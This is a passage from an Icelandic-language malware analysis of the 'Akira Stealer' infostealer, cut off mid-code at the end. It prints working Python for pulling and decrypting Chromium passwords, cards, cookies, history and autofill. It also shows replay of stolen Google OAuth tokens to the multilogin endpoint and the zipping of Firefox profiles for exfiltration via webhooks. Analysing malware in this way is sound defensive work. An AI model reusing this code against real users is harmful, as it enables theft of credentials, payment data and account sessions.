(",[550,6391,6392],{},"Chromium.GetPasswords",[532,6394,867],{},[532,6396,6397],{},"Þessi eining leitar með aðferð í gegnum alla Chromium-byggða browser-prófíla til að draga út vistuð innskráningar-credentials. Með því að beinast að Login Data SQLite-gagnagrunninum sækir hún notandanöfn og dulkóðuð lykilorð og notar svo dulkóðunarlykil pallsins (sóttan í gegnum DPAPI eða AES-GCM) til að afkóða þau í hreinan texta. Þessi credentials eru mjög verðmæt til að stikla áfram eftir kompromíseringu eða til að yfirtaka reikninga.",[587,6399,6401],{"className":4490,"code":6400,"language":4492,"meta":593,"style":593},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[550,6402,6403,6408,6413,6418,6423,6428,6433,6438,6443,6448],{"__ignoreMap":593},[1685,6404,6405],{"class":1687,"line":1688},[1685,6406,6407],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1685,6409,6410],{"class":1687,"line":2064},[1685,6411,6412],{},"    for file in files:\n",[1685,6414,6415],{"class":1687,"line":2070},[1685,6416,6417],{},"        if file.lower() == \"login data\":\n",[1685,6419,6420],{"class":1687,"line":2076},[1685,6421,6422],{},"            # Copy DB → open → extract rows\n",[1685,6424,6425],{"class":1687,"line":2398},[1685,6426,6427],{},"            results = cursor.execute(\n",[1685,6429,6430],{"class":1687,"line":2404},[1685,6431,6432],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1685,6434,6435],{"class":1687,"line":3060},[1685,6436,6437],{},"            ).fetchall()\n",[1685,6439,6440],{"class":1687,"line":3855},[1685,6441,6442],{},"            for url, user, pwd_blob in results:\n",[1685,6444,6445],{"class":1687,"line":3861},[1685,6446,6447],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1685,6449,6450],{"class":1687,"line":4106},[1685,6451,6452],{},"                passwords.append((url, user, clear_pwd))\n",[603,6454,6455,6468,6474,6482,6500],{},[606,6456,6457,6460,6461,6463,6464,6467],{},[539,6458,6459],{},"Finnur"," hvern ",[550,6462,556],{}," SQLite-gagnagrunn undir ",[550,6465,6466],{},"User Data","-möppu browsersins.",[606,6469,6470,6473],{},[539,6471,6472],{},"Afritar"," í tímabundna skrá til að forðast læsingar browsersins.",[606,6475,6476,971,6479,585],{},[539,6477,6478],{},"SQL-fyrirspurn",[550,6480,6481],{},"SELECT origin_url, username_value, password_value FROM logins",[606,6483,6484,6487,6488,6491,6492,6495,6496,6499],{},[539,6485,6486],{},"Afkóðar"," hvert ",[550,6489,6490],{},"password_value","-blob með AES‑GCM (",[550,6493,6494],{},"v10","/",[550,6497,6498],{},"v11",") eða fellur til baka á Windows DPAPI.",[606,6501,6502,6505,6506,585],{},[539,6503,6504],{},"Skrifar"," úttakið í ",[550,6507,6508],{},"Passwords/\u003CBrowserName> Passwords.txt",[861,6510,6512,6513,1111],{"id":6511},"_743-kreditkortadumpari-chromiumgetcreditcards","7.4.3 Kreditkortadumpari (",[550,6514,6515],{},"Chromium.GetCreditCards",[532,6517,867],{},[532,6519,6520],{},"Hér nær stealerinn í vistuð kreditkortagögn úr Web Data-skrá hvers browser-prófíls. Hann leggur áherslu á að draga út gildistíma og dulkóðuð kortanúmer, sem eru svo afkóðuð með sömu rökvísi og lykilorðin. Þótt CVV-kóðar séu yfirleitt ekki vistaðir má samt misnota upplýsingarnar sem endurheimtast til svika þar sem kortið er ekki til staðar.",[587,6522,6524],{"className":4490,"code":6523,"language":4492,"meta":593,"style":593},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[550,6525,6526,6531,6536,6541,6546,6551],{"__ignoreMap":593},[1685,6527,6528],{"class":1687,"line":1688},[1685,6529,6530],{},"results = cursor.execute(\n",[1685,6532,6533],{"class":1687,"line":2064},[1685,6534,6535],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1685,6537,6538],{"class":1687,"line":2070},[1685,6539,6540],{},").fetchall()\n",[1685,6542,6543],{"class":1687,"line":2076},[1685,6544,6545],{},"for month, year, enc_cc in results:\n",[1685,6547,6548],{"class":1687,"line":2398},[1685,6549,6550],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1685,6552,6553],{"class":1687,"line":2404},[1685,6554,6555],{},"    ccs.append((cc_number, month, year))\n",[603,6557,6558,6566,6573,6581],{},[606,6559,6560,1537,6563,6565],{},[539,6561,6562],{},"Beinist að",[550,6564,560],{}," SQLite-geymslunum undir hverjum prófíl.",[606,6567,6568,971,6570,585],{},[539,6569,6478],{},[550,6571,6572],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[606,6574,6575,1537,6577,6580],{},[539,6576,6486],{},[550,6578,6579],{},"card_number_encrypted"," nákvæmlega eins og lykilorðablobbin.",[606,6582,6583,6586,6587,585],{},[539,6584,6585],{},"Skilar"," í ",[550,6588,6589],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[861,6591,6593,6594,1111],{"id":6592},"_744-cookie-dumpari-chromiumgetcookies","7.4.4 Cookie-dumpari (",[550,6595,6596],{},"Chromium.GetCookies",[532,6598,867],{},[532,6600,6601],{},"Cookies, og einkum setucookies, eru helstu skotmörk til að yfirtaka reikninga án lykilorða. Þessi eining dumpar allar cookie-skrár þvert á prófíla, afkóðar þær og safnar nauðsynlegum lýsigögnum eins og léni, heiti og gildistíma. Ásamt fingrafaratöku geta þessi cookies gert replay-árásir á auðkenndar þjónustur snurðulausar.",[587,6603,6605],{"className":4490,"code":6604,"language":4492,"meta":593,"style":593},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[550,6606,6607,6611,6616,6620,6625,6630],{"__ignoreMap":593},[1685,6608,6609],{"class":1687,"line":1688},[1685,6610,6530],{},[1685,6612,6613],{"class":1687,"line":2064},[1685,6614,6615],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1685,6617,6618],{"class":1687,"line":2070},[1685,6619,6540],{},[1685,6621,6622],{"class":1687,"line":2076},[1685,6623,6624],{},"for host, name, path, blob, expiry in results:\n",[1685,6626,6627],{"class":1687,"line":2398},[1685,6628,6629],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1685,6631,6632],{"class":1687,"line":2404},[1685,6633,6634],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[603,6636,6637,6645,6653,6661],{},[606,6638,6639,6460,6642,6644],{},[539,6640,6641],{},"Skannar",[550,6643,6318],{}," SQLite-gagnagrunn.",[606,6646,6647,1537,6650,585],{},[539,6648,6649],{},"Velur",[550,6651,6652],{},"host_key, name, path, encrypted_value, expires_utc",[606,6654,6655,6487,6657,6660],{},[539,6656,6486],{},[550,6658,6659],{},"encrypted_value","-blob til að afhjúpa hinn eiginlega cookie-streng.",[606,6662,6663,6586,6666,585],{},[539,6664,6665],{},"Vistar",[550,6667,6668],{},"Cookies/\u003CBrowserName> Cookies.txt",[861,6670,6672,6673,1111],{"id":6671},"_745-dumpari-google-seta-chromiumdump_google_sessions","7.4.5 Dumpari Google-seta (",[550,6674,6675],{},"Chromium.dump_google_sessions",[532,6677,867],{},[532,6679,6680],{},"Þessi rútína er einn af háþróaðri hlutunum og afkóðar vistuð OAuth-tokens úr token_service-töflunni. Með því að endurspila þau í gegnum multilogin-endapunkt Google getur malware-ið endurmyndað virk setucookies, sem gerir árásaraðilum kleift að yfirtaka Google-reikninga án credentials. Þetta sýnir hvernig access tokens eru orðin helstu skotmörk í nútíma stealers.",[587,6682,6684],{"className":4490,"code":6683,"language":4492,"meta":593,"style":593},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[550,6685,6686,6691,6696,6701,6706,6711,6716,6721,6726,6731,6736,6741,6745],{"__ignoreMap":593},[1685,6687,6688],{"class":1687,"line":1688},[1685,6689,6690],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1685,6692,6693],{"class":1687,"line":2064},[1685,6694,6695],{},"for service, blob in cursor.fetchall():\n",[1685,6697,6698],{"class":1687,"line":2070},[1685,6699,6700],{},"    iv = blob[3:15]\n",[1685,6702,6703],{"class":1687,"line":2076},[1685,6704,6705],{},"    ciphertext = blob[15:-16]\n",[1685,6707,6708],{"class":1687,"line":2398},[1685,6709,6710],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1685,6712,6713],{"class":1687,"line":2404},[1685,6714,6715],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1685,6717,6718],{"class":1687,"line":3060},[1685,6719,6720],{},"    # Replays via POST to OAuth endpoint\n",[1685,6722,6723],{"class":1687,"line":3855},[1685,6724,6725],{},"    response = requests.post(\n",[1685,6727,6728],{"class":1687,"line":3861},[1685,6729,6730],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1685,6732,6733],{"class":1687,"line":4106},[1685,6734,6735],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1685,6737,6738],{"class":1687,"line":5023},[1685,6739,6740],{},"        data={\"source\": \"com.google.Drive\"}\n",[1685,6742,6743],{"class":1687,"line":5029},[1685,6744,5954],{},[1685,6746,6747],{"class":1687,"line":5035},[1685,6748,6749],{},"    save each account’s cookies to file\n",[603,6751,6752,6767,6776,6786],{},[606,6753,6754,1537,6757,6760,6761,6764,6765,585],{},[539,6755,6756],{},"Sækir",[550,6758,6759],{},"service"," og hrátt ",[550,6762,6763],{},"encrypted_token"," úr afriti af ",[550,6766,560],{},[606,6768,6769,1255,6772,6775],{},[539,6770,6771],{},"AES‑GCM-afkóðun",[550,6773,6774],{},"Local State","-lykli browsersins.",[606,6777,6778,6781,6782,6785],{},[539,6779,6780],{},"Endurspilar"," afkóðuð tokens í POST á ",[550,6783,6784],{},"multilogin","-API Google til að endurgera gild OAuth-cookies.",[606,6787,6788,6790,6791,585],{},[539,6789,6504],{}," setuskrár fyrir hvern reikning undir ",[550,6792,6793],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[861,6795,6797,6798,1111],{"id":6796},"_746-ferilskrárdumpari-chromiumgethistory","7.4.6 Ferilskrárdumpari (",[550,6799,6800],{},"Chromium.GetHistory",[532,6802,867],{},[532,6804,6805],{},"Þetta fall dregur út færslur úr vafraferli, þar á meðal URL, titil og heimsóknartíðni. Auk þess að vera innrás í einkalíf hjálpa þessi gögn árásaraðilum að skilja hegðun fórnarlambsins, finna verðmæt skotmörk (t.d. bankavefi) og sníða payloads fyrir félagslega hönnun.",[587,6807,6809],{"className":4490,"code":6808,"language":4492,"meta":593,"style":593},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[550,6810,6811,6815,6820,6824,6829],{"__ignoreMap":593},[1685,6812,6813],{"class":1687,"line":1688},[1685,6814,6530],{},[1685,6816,6817],{"class":1687,"line":2064},[1685,6818,6819],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1685,6821,6822],{"class":1687,"line":2070},[1685,6823,6540],{},[1685,6825,6826],{"class":1687,"line":2076},[1685,6827,6828],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1685,6830,6831],{"class":1687,"line":2398},[1685,6832,6833],{},"return [(url, title, count) for url, title, count, _ in history]\n",[603,6835,6836,6847,6857],{},[606,6837,6838,1537,6840,6843,6844,6846],{},[539,6839,6649],{},[550,6841,6842],{},"url, title, visit_count, last_visit_time"," úr hverjum ",[550,6845,6370],{},"-gagnagrunni.",[606,6848,6849,6852,6853,6856],{},[539,6850,6851],{},"Raðar"," færslum eftir ",[550,6854,6855],{},"last_visit_time"," í fallandi röð.",[606,6858,6859,1537,6861,585],{},[539,6860,6585],{},[550,6862,6863],{},"History/\u003CBrowserName> History.txt",[861,6865,6867,6868,1111],{"id":6866},"_747-dumpari-sjálfvirkra-útfyllinga-chromiumgetautofills","7.4.7 Dumpari sjálfvirkra útfyllinga (",[550,6869,6870],{},"Chromium.GetAutofills",[532,6872,867],{},[532,6874,6875],{},"Sjálfvirkar útfyllingarfærslur, svo sem heimilisföng, nöfn, tölvupóstar og stundum gögn sem tengjast greiðslum, eru sópaðar úr Web Data-geymslu browsersins. Þessi gildi virðast ef til vill ekki afgerandi, en samanlögð gefa þau ríka mynd af auðkenni og hegðun fórnarlambsins.",[587,6877,6879],{"className":4490,"code":6878,"language":4492,"meta":593,"style":593},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[550,6880,6881,6885,6890,6894,6899],{"__ignoreMap":593},[1685,6882,6883],{"class":1687,"line":1688},[1685,6884,6530],{},[1685,6886,6887],{"class":1687,"line":2064},[1685,6888,6889],{},"    \"SELECT name, value FROM autofill\"\n",[1685,6891,6892],{"class":1687,"line":2070},[1685,6893,6540],{},[1685,6895,6896],{"class":1687,"line":2076},[1685,6897,6898],{},"for field, value in results:\n",[1685,6900,6901],{"class":1687,"line":2398},[1685,6902,6903],{},"    autofills.append((field.strip(), value.strip()))\n",[603,6905,6906,6919],{},[606,6907,6908,6910,6911,6914,6915,6918],{},[539,6909,6756],{}," færslur úr útfyllingum forma: ",[550,6912,6913],{},"name, value"," úr ",[550,6916,6917],{},"web data","-skránni.",[606,6920,6921,6923,6924,585],{},[539,6922,6504],{}," út sem ",[550,6925,6926],{},"Autofill/\u003CBrowserName> Autofill.txt",[861,6928,6930,6931,557,6933,1111],{"id":6929},"_748-firefox-prófílagrabbari-geckodriver-og-grabfirefoxprofiles","7.4.8 Firefox-prófílagrabbari (",[550,6932,6244],{},[550,6934,6935],{},"grabFirefoxProfiles",[532,6937,867],{},[532,6939,6940],{},"Ólíkt fínkornóttu Chromium-rútínunum velur þetta fall breiða nálgun: það þjappar allri Firefox-prófílmöppunni, þar á meðal vistuðum innskráningum, cookies og bókamerkjum, og exfiltrerar hana í heilu lagi. Það tryggir að árásaraðilar geti greint eða dregið út gögn utan nets og komist fram hjá afkóðunarhindrunum með þekktum NSS-verkfærum.",[587,6942,6944],{"className":4490,"code":6943,"language":4492,"meta":593,"style":593},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[550,6945,6946,6951,6956,6961],{"__ignoreMap":593},[1685,6947,6948],{"class":1687,"line":1688},[1685,6949,6950],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1685,6952,6953],{"class":1687,"line":2064},[1685,6954,6955],{},"    for root, dirs, files in os.walk(source_path):\n",[1685,6957,6958],{"class":1687,"line":2070},[1685,6959,6960],{},"        zipf.write(each file)\n",[1685,6962,6963],{"class":1687,"line":2076},[1685,6964,6965],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[603,6967,6968,6978,6988],{},[606,6969,6970,6973,6974,6977],{},[539,6971,6972],{},"Pakkar"," allri ",[550,6975,6976],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles","-möppunni í ZIP.",[606,6979,6980,6983,6984,6987],{},[539,6981,6982],{},"Nefnir"," hana ",[550,6985,6986],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," og sendir niðurhalshlekkinn yfir sömu webhook-rásir.",[606,6989,6990,6993,6994,619,6997,619,7000,7003],{},[539,6991,6992],{},"Kallar einnig"," á sömu SQLite-byggðu útdráttarföllin (",[550,6995,6996],{},"logins.json",[550,6998,6999],{},"cookies.sqlite",[550,7001,7002],{},"places.sqlite",") á hvern Firefox-prófíl með þeim NSS-afkóðunarrútínum sem þegar eru til staðar.",[861,7005,7007],{"id":7006},"_749-samantekt-útdráttar","7.4.9 Samantekt útdráttar",[532,7009,867],{},[532,7011,7012,7013,619,7015,619,7017,619,7019,557,7021,7024,7025,7028,7029,7031,7032,619,7034,557,7036,7038,7039,7042],{},"Astor.py stjórnar heildstæðri kompromíseringu browsersins með því að safna með aðferð hverju credential og hverjum setu-artifacti þvert á Chromium-byggða og Firefox-klienta. Það finnur og afritar hverja SQLite-geymslu á öruggan hátt, ",[550,7014,556],{},[550,7016,560],{},[550,7018,6318],{},[550,7020,6370],{},[550,7022,7023],{},"autofill",", og keyrir svo markvissar SQL-fyrirspurnir til að draga út URL, notandanöfn, lykilorð, kreditkortaupplýsingar, cookies, vafraferil og útfyllingarfærslur forma. Lykilorð og greiðslugögn eru afkóðuð með AES-GCM (eða falla til baka á Windows DPAPI), en cookies eru pakkað upp á sama hátt til að afhjúpa gildi þeirra í plaintext. Fyrir Google-reikninga eru dulkóðuð OAuth-tokens úr ",[550,7026,7027],{},"token_service"," afkóðuð og endurspiluð gegn ",[550,7030,6784],{},"-API til að endurmynda lifandi setucookies. Að lokum eru Firefox-prófílar pakkaðir í heilu lagi (þar á meðal ",[550,7033,6996],{},[550,7035,6999],{},[550,7037,7002],{},") og afhentir sem ZIP, svo enginn artifact verði eftir. Þessi pípa frá upphafi til enda keyrir hljóðlega undir ",[550,7040,7041],{},"%TEMP%\\\u003CComputerName>"," og býr til snyrtilega skipulagðar úttaksskrár fyrir hvern gagnaflokk.",[713,7044,7046],{"id":7045},"_75-rökvísi-afkóðunar","7.5 Rökvísi afkóðunar",[532,7048,719],{},[532,7050,7051],{},"Nútíma browsers eins og Chrome og Edge dulkóða viðkvæm gögn, svo sem lykilorð, cookies og kreditkortaupplýsingar, áður en þau eru vistuð staðbundið. Akira hefur innbyggðar afkóðunarrútínur sem eru sniðnar að því að takast á við bæði eldri og núverandi dulkóðunaraðferðir Chromium. Það tryggir að það geti dregið út gögn í hreinum texta óháð því hvaða patch-stigi eða browser-útgáfu kerfið er á.",[532,7053,7054],{},"Kjarni þessa ferlis er útdráttur og afkóðun á meginlykli browsersins, sem geymdur er í skrá sem heitir Local State. Eftir útgáfu browsersins og Windows-byggingu velur Akira dýnamískt viðeigandi afkóðunaraðferð:",[532,7056,7057],{},"DPAPI (Data Protection API) er notað á eldri kerfum, þar sem Chrome geymir leyndarmál varin af Windows-credentials núverandi notanda.",[532,7059,7060],{},"AES-GCM er notað í nýlegum Chromium-byggingum, þar sem meginlykill sem myndaður er af handahófi er sjálfur dulkóðaður með DPAPI og svo notaður til dulkóðunar notandagagna inni í forritinu.",[532,7062,7063],{},"Með því að afkóða Local State-meginlykilinn fyrst fær Akira getuna til að opna öll leyndarmál browsersins, sem greiðir brautina fyrir útdrætti á credentials, tokens, cookies og fleiru.",[532,7065,7066],{},[539,7067,7068],{},"Útdráttur lykils",[587,7070,7072],{"className":4490,"code":7071,"language":4492,"meta":593,"style":593},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[550,7073,7074,7079,7084,7089],{"__ignoreMap":593},[1685,7075,7076],{"class":1687,"line":1688},[1685,7077,7078],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1685,7080,7081],{"class":1687,"line":2064},[1685,7082,7083],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1685,7085,7086],{"class":1687,"line":2070},[1685,7087,7088],{},"    local_state = json.load(f)\n",[1685,7090,7091],{"class":1687,"line":2076},[1685,7092,7093],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[532,7095,7096],{},[539,7097,7098],{},"Afkóðun (AES-GCM):",[587,7100,7102],{"className":4490,"code":7101,"language":4492,"meta":593,"style":593},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[550,7103,7104,7109,7114,7119,7124],{"__ignoreMap":593},[1685,7105,7106],{"class":1687,"line":1688},[1685,7107,7108],{},"nonce = value[3:15]\n",[1685,7110,7111],{"class":1687,"line":2064},[1685,7112,7113],{},"ciphertext = value[15:-16]\n",[1685,7115,7116],{"class":1687,"line":2070},[1685,7117,7118],{},"tag = value[-16:]\n",[1685,7120,7121],{"class":1687,"line":2076},[1685,7122,7123],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1685,7125,7126],{"class":1687,"line":2398},[1685,7127,7128],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[532,7130,7131,7132,585],{},"Ef þörf er á að falla til baka á DPAPI (á eldri kerfum) notar það ",[550,7133,7134],{},"win32crypt.CryptUnprotectData()",[532,7136,7137,7143],{},[539,7138,7139,7140,1172],{},"Skýring á ",[550,7141,7142],{},"decrypt_password_blob","\nÞetta fall sýnir hvernig Akira Stealer afkóðar hvert vistað lykilorðagildi úr Chromium-byggðum browsers. Það tekur á tveimur tilvikum:",[2084,7145,7146,7156],{},[606,7147,7148,7151,7152,7155],{},[539,7149,7150],{},"Windows DPAPI-blob"," (eldri gögn eða gögn sem eru ekki GCM-dulkóðuð): fellur til baka á kerfiskallið ",[550,7153,7154],{},"CryptUnprotectData",", sem notar Windows-credentials notandans til afkóðunar.",[606,7157,7158,7161,7162,7165],{},[539,7159,7160],{},"AES-GCM-dulkóðuð blob"," (snið Chrome v10/v11): les útgáfuhausinn, dregur út IV og sannvottunartag og notar ",[550,7163,7164],{},"cryptography","-safnið til að afkóða payloadinn á öruggan hátt.",[587,7167,7169],{"className":4490,"code":7168,"language":4492,"meta":593,"style":593},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[550,7170,7171,7176,7181,7185,7189,7194,7198,7203,7207,7212,7217,7222,7226,7231,7236,7240,7245,7250,7255,7260,7264,7269,7274,7279,7284,7289,7294,7299,7304,7309,7313,7318,7323,7328,7333,7338,7342,7347,7351,7356,7361,7365,7370],{"__ignoreMap":593},[1685,7172,7173],{"class":1687,"line":1688},[1685,7174,7175],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1685,7177,7178],{"class":1687,"line":2064},[1685,7179,7180],{},"from cryptography.hazmat.backends import default_backend\n",[1685,7182,7183],{"class":1687,"line":2070},[1685,7184,3852],{"emptyLinePlaceholder":325},[1685,7186,7187],{"class":1687,"line":2076},[1685,7188,3852],{"emptyLinePlaceholder":325},[1685,7190,7191],{"class":1687,"line":2398},[1685,7192,7193],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1685,7195,7196],{"class":1687,"line":2404},[1685,7197,5828],{},[1685,7199,7200],{"class":1687,"line":3060},[1685,7201,7202],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1685,7204,7205],{"class":1687,"line":3855},[1685,7206,3852],{"emptyLinePlaceholder":325},[1685,7208,7209],{"class":1687,"line":3861},[1685,7210,7211],{},"    Parameters:\n",[1685,7213,7214],{"class":1687,"line":4106},[1685,7215,7216],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1685,7218,7219],{"class":1687,"line":5023},[1685,7220,7221],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1685,7223,7224],{"class":1687,"line":5029},[1685,7225,3852],{"emptyLinePlaceholder":325},[1685,7227,7228],{"class":1687,"line":5035},[1685,7229,7230],{},"    Returns:\n",[1685,7232,7233],{"class":1687,"line":5041},[1685,7234,7235],{},"    - Decrypted UTF-8 plaintext password\n",[1685,7237,7238],{"class":1687,"line":5047},[1685,7239,5828],{},[1685,7241,7242],{"class":1687,"line":5053},[1685,7243,7244],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1685,7246,7247],{"class":1687,"line":5059},[1685,7248,7249],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1685,7251,7252],{"class":1687,"line":5065},[1685,7253,7254],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1685,7256,7257],{"class":1687,"line":5071},[1685,7258,7259],{},"        return CryptUnprotectData(buffer)\n",[1685,7261,7262],{"class":1687,"line":5077},[1685,7263,3852],{"emptyLinePlaceholder":325},[1685,7265,7266],{"class":1687,"line":5083},[1685,7267,7268],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1685,7270,7271],{"class":1687,"line":5089},[1685,7272,7273],{},"    # Bytes layout:\n",[1685,7275,7276],{"class":1687,"line":5095},[1685,7277,7278],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1685,7280,7281],{"class":1687,"line":5101},[1685,7282,7283],{},"    # [3:15]   = initialization vector (IV)\n",[1685,7285,7286],{"class":1687,"line":5107},[1685,7287,7288],{},"    # [15:-16] = ciphertext payload\n",[1685,7290,7291],{"class":1687,"line":5774},[1685,7292,7293],{},"    # [-16:]   = GCM authentication tag\n",[1685,7295,7296],{"class":1687,"line":5779},[1685,7297,7298],{},"    iv = buffer[3:15]\n",[1685,7300,7301],{"class":1687,"line":5784},[1685,7302,7303],{},"    ciphertext = buffer[15:-16]\n",[1685,7305,7306],{"class":1687,"line":5789},[1685,7307,7308],{},"    tag = buffer[-16:]\n",[1685,7310,7311],{"class":1687,"line":5795},[1685,7312,3852],{"emptyLinePlaceholder":325},[1685,7314,7315],{"class":1687,"line":5800},[1685,7316,7317],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1685,7319,7320],{"class":1687,"line":5805},[1685,7321,7322],{},"    cipher = Cipher(\n",[1685,7324,7325],{"class":1687,"line":5810},[1685,7326,7327],{},"        algorithms.AES(key),\n",[1685,7329,7330],{"class":1687,"line":5815},[1685,7331,7332],{},"        modes.GCM(iv, tag),\n",[1685,7334,7335],{"class":1687,"line":5820},[1685,7336,7337],{},"        backend=default_backend()\n",[1685,7339,7340],{"class":1687,"line":5825},[1685,7341,5954],{},[1685,7343,7344],{"class":1687,"line":5831},[1685,7345,7346],{},"    decryptor = cipher.decryptor()\n",[1685,7348,7349],{"class":1687,"line":5837},[1685,7350,3852],{"emptyLinePlaceholder":325},[1685,7352,7353],{"class":1687,"line":5843},[1685,7354,7355],{},"    # Perform decryption; raises if authentication fails\n",[1685,7357,7358],{"class":1687,"line":5848},[1685,7359,7360],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1685,7362,7363],{"class":1687,"line":5853},[1685,7364,3852],{"emptyLinePlaceholder":325},[1685,7366,7367],{"class":1687,"line":5858},[1685,7368,7369],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1685,7371,7372],{"class":1687,"line":5863},[1685,7373,7374],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[713,7376,7378],{"id":7377},"_76-yfirtaka-setutokens","7.6 Yfirtaka setutokens",[532,7380,719],{},[532,7382,7383,7384,7387],{},"Akira lætur ekki staðar numið við óvirka gagnasöfnun, það yfirtekur með virkum hætti lifandi setutokens til að þykjast vera fórnarlömbin í rauntíma. Eftir að hafa dregið dulkóðuð tokens úr geymslu browsersins endurgerir það þann authorization-haus sem þarf og endurspilar ",[539,7385,7386],{},"MultiLogin","-beiðni gegn OAuth-endapunkti Google. Kóðabrotið hér fyrir neðan sýnir ferlið:",[587,7389,7391],{"className":4490,"code":7390,"language":4492,"meta":593,"style":593},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = 